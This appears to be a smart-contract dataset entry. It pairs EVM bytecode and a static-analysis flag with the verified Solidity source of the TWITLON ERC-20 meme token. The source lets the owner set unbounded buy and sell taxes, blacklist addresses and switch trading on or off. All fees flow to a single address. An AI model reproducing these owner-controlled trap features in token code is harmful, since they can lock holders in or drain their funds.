ffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a8b57600080fd5b6000808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b60065481565b6000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b6f57600080fd5b81600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610c04848484611651565b600190509392505050565b600360009054906101000a900460ff1681565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610c7257600080fd5b81600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816006600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da857600080fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60086020528060005260406000206000915090505481565b600081600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610e6a57600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ef557600080fd5b81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816006600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60045481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110d05780601f106110a5576101008083540402835291602001916110d0565b820191906000526020600020905b8154815290600101906020018083116110b357829003601f168201915b505050505081565b6110e3338383611651565b5050565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561113e57600080fd5b806004540360048190555080600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360009054906101000a900460ff1660ff16600a0a84026040518082815260200191505060405180910390a35050565b6000808490506112808585610867565b156113e1578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561137a57808201518184015260208101905061135f565b50505050905090810190601f1680156113a75780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156113c857600080fd5b5af115156113d557600080fd5b505050600191506113e2565b5b509392505050565b6009602052816000526040600020602052806000526040600020600091509150505481565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561146857600080fd5b8151835114151561147857600080fd5b600090505b82518111151561164c57818181518110151561149557fe5b906020019060200201516004540360048190555081818151811015156114b757fe5b906020019060200201516008600085848151811015156114d357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540160086000858481518110151561152b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110151561158157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360009054906101000a900460ff1660ff16600a0a858581518110151561161f57fe5b90602001906020020151026040518082815260200191505060405180910390a3808060010191505061147d565b505050565b6000808373ffffffffffffffffffffffffffffffffffffffff161415151561167857600080fd5b81600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156116c657600080fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561175457600080fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561196157fe5b50505050565b600080828481151561197557fe5b04905080915050929150505600a165627a7a723058202e8b667dc9653dfbc427ded4bfa7aad6307aa8d9f83eb06f5512e5c6e5d853db0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 1,426 |
0x5Ba36815424b24EA5Df08775bC09E973978Dc290 | /**
*Submitted for verification at Etherscan.io on 2022-04-25
*/
/**
TWITLON
Liquidity locked for 30 days
Ownership will be renounced.
Telegram: https://t.me/TWITLON
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TWITLON is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TWITLON";
string private constant _symbol = "TWITLON";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x418FB79D6CF0F0bF1011654aeb14ddC1B84413f8);
address payable private _marketingAddress = payable(0x418FB79D6CF0F0bF1011654aeb14ddC1B84413f8);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610522578063dd62ed3e14610542578063ea1644d514610588578063f2fde38b146105a857600080fd5b8063a2a957bb1461049d578063a9059cbb146104bd578063bfd79284146104dd578063c3c8cd801461050d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104475780638f9a55c01461046757806395d89b41146101fe57806398a5c3151461047d57600080fd5b80637d1db4a5146103e65780637f2feddc146103fc5780638da5cb5b1461042957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037c57806370a0823114610391578063715018a6146103b157806374010ece146103c657600080fd5b8063313ce5671461030057806349bd5a5e1461031c5780636b9990531461033c5780636d8aa8f81461035c57600080fd5b80631694505e116101ab5780631694505e1461026d57806318160ddd146102a557806323b872dd146102ca5780632fd689e3146102ea57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192c565b6105c8565b005b34801561020a57600080fd5b5060408051808201825260078152662a2ba4aa2627a760c91b6020820152905161023491906119f1565b60405180910390f35b34801561024957600080fd5b5061025d610258366004611a46565b610667565b6040519015158152602001610234565b34801561027957600080fd5b5060145461028d906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102b157600080fd5b50670de0b6b3a76400005b604051908152602001610234565b3480156102d657600080fd5b5061025d6102e5366004611a72565b61067e565b3480156102f657600080fd5b506102bc60185481565b34801561030c57600080fd5b5060405160098152602001610234565b34801561032857600080fd5b5060155461028d906001600160a01b031681565b34801561034857600080fd5b506101fc610357366004611ab3565b6106e7565b34801561036857600080fd5b506101fc610377366004611ae0565b610732565b34801561038857600080fd5b506101fc61077a565b34801561039d57600080fd5b506102bc6103ac366004611ab3565b6107c5565b3480156103bd57600080fd5b506101fc6107e7565b3480156103d257600080fd5b506101fc6103e1366004611afb565b61085b565b3480156103f257600080fd5b506102bc60165481565b34801561040857600080fd5b506102bc610417366004611ab3565b60116020526000908152604090205481565b34801561043557600080fd5b506000546001600160a01b031661028d565b34801561045357600080fd5b506101fc610462366004611ae0565b61088a565b34801561047357600080fd5b506102bc60175481565b34801561048957600080fd5b506101fc610498366004611afb565b6108d2565b3480156104a957600080fd5b506101fc6104b8366004611b14565b610901565b3480156104c957600080fd5b5061025d6104d8366004611a46565b61093f565b3480156104e957600080fd5b5061025d6104f8366004611ab3565b60106020526000908152604090205460ff1681565b34801561051957600080fd5b506101fc61094c565b34801561052e57600080fd5b506101fc61053d366004611b46565b6109a0565b34801561054e57600080fd5b506102bc61055d366004611bca565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059457600080fd5b506101fc6105a3366004611afb565b610a41565b3480156105b457600080fd5b506101fc6105c3366004611ab3565b610a70565b6000546001600160a01b031633146105fb5760405162461bcd60e51b81526004016105f290611c03565b60405180910390fd5b60005b81518110156106635760016010600084848151811061061f5761061f611c38565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065b81611c64565b9150506105fe565b5050565b6000610674338484610b5a565b5060015b92915050565b600061068b848484610c7e565b6106dd84336106d885604051806060016040528060288152602001611d7e602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ba565b610b5a565b5060019392505050565b6000546001600160a01b031633146107115760405162461bcd60e51b81526004016105f290611c03565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075c5760405162461bcd60e51b81526004016105f290611c03565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107af57506013546001600160a01b0316336001600160a01b0316145b6107b857600080fd5b476107c2816111f4565b50565b6001600160a01b0381166000908152600260205260408120546106789061122e565b6000546001600160a01b031633146108115760405162461bcd60e51b81526004016105f290611c03565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108855760405162461bcd60e51b81526004016105f290611c03565b601655565b6000546001600160a01b031633146108b45760405162461bcd60e51b81526004016105f290611c03565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fc5760405162461bcd60e51b81526004016105f290611c03565b601855565b6000546001600160a01b0316331461092b5760405162461bcd60e51b81526004016105f290611c03565b600893909355600a91909155600955600b55565b6000610674338484610c7e565b6012546001600160a01b0316336001600160a01b0316148061098157506013546001600160a01b0316336001600160a01b0316145b61098a57600080fd5b6000610995306107c5565b90506107c2816112b2565b6000546001600160a01b031633146109ca5760405162461bcd60e51b81526004016105f290611c03565b60005b82811015610a3b5781600560008686858181106109ec576109ec611c38565b9050602002016020810190610a019190611ab3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3381611c64565b9150506109cd565b50505050565b6000546001600160a01b03163314610a6b5760405162461bcd60e51b81526004016105f290611c03565b601755565b6000546001600160a01b03163314610a9a5760405162461bcd60e51b81526004016105f290611c03565b6001600160a01b038116610aff5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f2565b6001600160a01b038216610c1d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f2565b6001600160a01b038216610d445760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f2565b60008111610da65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f2565b6000546001600160a01b03848116911614801590610dd257506000546001600160a01b03838116911614155b156110b357601554600160a01b900460ff16610e6b576000546001600160a01b03848116911614610e6b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f2565b601654811115610ebd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f2565b6001600160a01b03831660009081526010602052604090205460ff16158015610eff57506001600160a01b03821660009081526010602052604090205460ff16155b610f575760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f2565b6015546001600160a01b03838116911614610fdc5760175481610f79846107c5565b610f839190611c7f565b10610fdc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f2565b6000610fe7306107c5565b6018546016549192508210159082106110005760165491505b8080156110175750601554600160a81b900460ff16155b801561103157506015546001600160a01b03868116911614155b80156110465750601554600160b01b900460ff165b801561106b57506001600160a01b03851660009081526005602052604090205460ff16155b801561109057506001600160a01b03841660009081526005602052604090205460ff16155b156110b05761109e826112b2565b4780156110ae576110ae476111f4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f557506001600160a01b03831660009081526005602052604090205460ff165b8061112757506015546001600160a01b0385811691161480159061112757506015546001600160a01b03848116911614155b15611134575060006111ae565b6015546001600160a01b03858116911614801561115f57506014546001600160a01b03848116911614155b1561117157600854600c55600954600d555b6015546001600160a01b03848116911614801561119c57506014546001600160a01b03858116911614155b156111ae57600a54600c55600b54600d555b610a3b8484848461143b565b600081848411156111de5760405162461bcd60e51b81526004016105f291906119f1565b5060006111eb8486611c97565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610663573d6000803e3d6000fd5b60006006548211156112955760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f2565b600061129f611469565b90506112ab838261148c565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fa576112fa611c38565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134e57600080fd5b505afa158015611362573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113869190611cae565b8160018151811061139957611399611c38565b6001600160a01b0392831660209182029290920101526014546113bf9130911684610b5a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f8908590600090869030904290600401611ccb565b600060405180830381600087803b15801561141257600080fd5b505af1158015611426573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611448576114486114ce565b6114538484846114fc565b80610a3b57610a3b600e54600c55600f54600d55565b60008060006114766115f3565b9092509050611485828261148c565b9250505090565b60006112ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611633565b600c541580156114de5750600d54155b156114e557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150e87611661565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154090876116be565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156f9086611700565b6001600160a01b03891660009081526002602052604090